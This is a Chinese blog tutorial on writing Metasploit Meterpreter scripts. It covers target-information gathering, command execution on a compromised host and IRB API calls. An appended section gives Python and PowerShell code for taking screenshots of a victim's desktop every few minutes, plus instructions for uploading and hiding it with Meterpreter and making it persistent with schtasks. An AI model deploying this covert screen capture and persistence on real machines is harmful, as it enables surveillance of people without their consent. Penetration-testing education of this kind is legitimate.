metasploit之编写meterpreter

我们来写自己的meterpreter脚本,同样从Helloworld开始
在这里插入图片描述
这样子我们就可以在拿到meterpreter之后运行查看结果了
在这里插入图片描述
确实输出了hello world,我们在此基础上再增加其他的API调用,比如error,line
在这里插入图片描述
有没有这很像我们学习C语言时的print,scanf标准输入输出之类的。
实际上,status,error,line在向运行脚本的用户提供信息时都有不同的用途(最直观的我们可以看到status输出的字符串前面是蓝色的[-],而error输出的字符串前面有是红色的[-],line则是直接输出),如下图的运行结果所示
在这里插入图片描述
现在,helloworld已经会了,我们继续深入下去。

我们在下一个脚本里创建一个函数来打印出信息,并增加异常处理机制
函数的大概框架是这样子的
在这里插入图片描述
使用函数,使得我们的代码模块化,并且具有复用性。
而错误处理可以帮助我们对脚本进行错误排查。
我们接下来使用我们前面在helloworld里使用过的API调用,构建下面这样子的函数
在这里插入图片描述
我们来分析下编写的这个函数。
我们定义了一个名为“getinfo”的函数,它接收我们通过session这个局部变量传入的参数。
这个变量有一些方法被我们调用来提取系统和用户信息,之后我们把方法的结果打印出来。
这是程序正常运行时的功能,如过碰到了错误,我们还有错误处理程序,它会返回我们可能遇到的错误信息。
函数已经写好了,我们在上图代码下面加入getinfo(client)进行调用就可以了。
在这里插入图片描述
然后我们在meterpreter中运行,从它的输出中可以看到返回了一些基本信息。
在这里插入图片描述

现在,我们能写打印hello world的脚本,也能写搜集信息的脚本,接下来我们看看能够执行命令的脚本该怎么写。
同样,我们也是需要前面提到的那个框架,需要创建一个函数。
大概的框架如下图所示。
在这里插入图片描述
我们分析一下这个函数:
首先我们定义了需要接收两个参数的函数,其中第二个参数是一个数组。同时我们设置了超时机制,这样函数即使不能成功执行也不会一直挂在我们的会话上。接下来我们设置了一个foreach的循环,这个循环根据传递给函数的数组来运行,这个函数将会遍历数组中的项,并且在靶机上通过cmd执行,然后打印出命令执行后的信息。
在函数的最后,我们同样加上了错误处理机制来捕获任何有可能在函数执行时出现的问题。
函数体分析好之后,接下来我们在代码中加入数组(数组里就是我们想要执行的命令)。
最后,加上list_exec(client,commands)进行函数调用即可。
最终的代码是这样的:

在这里插入图片描述

我们同样在meterpretet执行(下面的三张图片分别是执行三个命令的回显):

在这里插入图片描述在这里插入图片描述
在这里插入图片描述
首先,我们在实验中会先介绍一些用于编写Meterpreter的API调用,并使用其中一些API调用来编写我们自己的meterpreter脚本
接下来我们在Meterpreter中进入IRB的shell来查看API的调用的具体情况
(注:IRB SHELL可以直接运行API调用,并查看调用返回的内容)
Meterpreter中输入irb便进入了irb shell
在这里插入图片描述
我们将从收集关于目标的信息开始。让我们获取目标主机的机器名。具体的API调用是“client.sys.config.sysinfo”

在这里插入图片描述
从上图中我们看到返回了一系列的值。如果我们想知道返回的值的类型,我们可以使用类对象来了解返回的内容
在这里插入图片描述
可以看到我们得到了一个散列HASH,所以可以通过它的键调用这个散列的元素。假设我们只想要OS版本
那么可以如下输入:
在这里插入图片描述

获取其上正在运行会话的进程的PID
在这里插入图片描述

搜集网络配置和主机环境的信息
在这里插入图片描述
我们也可以使用相同的API调用来获得接口列表以及配置信息
在这里插入图片描述
可以看到对象的类型是数组
我们可以通过这个对象的数组进行迭代来获取每个接口的输出

在这里插入图片描述

在这里插入图片描述

### 使用Metasploit编写定时截图脚本 为了实现通过Metasploit框架执行定时截图的功能,通常会涉及Meterpreter后渗透阶段的操作。由于Meterpreter本身并不直接提供内置的计划任务功能来定期截取屏幕图像,因此可以通过组合使用Windows的任务调度器自定义Payload相结合的方式达成目标。 #### 创建并上传Python脚本至受害主机 首先创建一段简单的Python代码用于捕获屏幕快照: ```python import os from PIL import ImageGrab import time def capture_screenshot(): timestamp = time.strftime("%Y%m%d-%H%M%S") filename = f"screenshot_{timestamp}.png" screenshot = ImageGrab.grab() screenshot.save(filename) while True: capture_screenshot() time.sleep(300) # Wait for 5 minutes before taking next screenshot. ``` 此段程序每隔五分钟就会保存一次当前桌面的画面到文件中[^1]。 #### 利用Meterpreter加载并运行上述脚本 一旦获得了目标系统的访问权限并通过`getsystem`获取到了SYSTEM级别的shell之后,就可以借助`upload`指令把之前准备好的Python脚本传送到远程计算机上;接着再调用`execute -i -H -d cmd.exe /c "C:\path\to\saved_script.py"`命令启动它,在这里假设已经安装好了相应的解释环境[^2]。 另外一种方法则是采用PowerShell替代Python作为编程语言,因为大多数情况下Windows默认就包含了该组件,从而减少了额外配置的工作量。下面给出了一种基于Powershell的一次性抓屏函数样例: ```powershell Add-Type -AssemblyName System.Windows.Forms $bitmap = New-Object Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width,[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height) $graphics = [Drawing.Graphics]::FromImage($bitmap) $graphics.CopyFromScreen(0,0,0,0,$bitmap.Size) $filename="screenshot_" + (Get-Date).ToString("yyyyMMdd_HHmmss")+".jpg"; $bitmap.Save($filename,"jpeg"); ``` 对于希望设置成周期性的操作而言,则可以在成功植入以上任意形式的有效载荷之后,进一步运用`schtasks`工具将其注册成为持久化的后台作业,确保即使重启设备也能继续生效[^3]。 最后值得注意的是,在实际部署此类攻击手段前应当充分考虑法律风险以及道德责任,仅限于合法授权范围内的安全测试活动当中应用这些技术知识点[^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值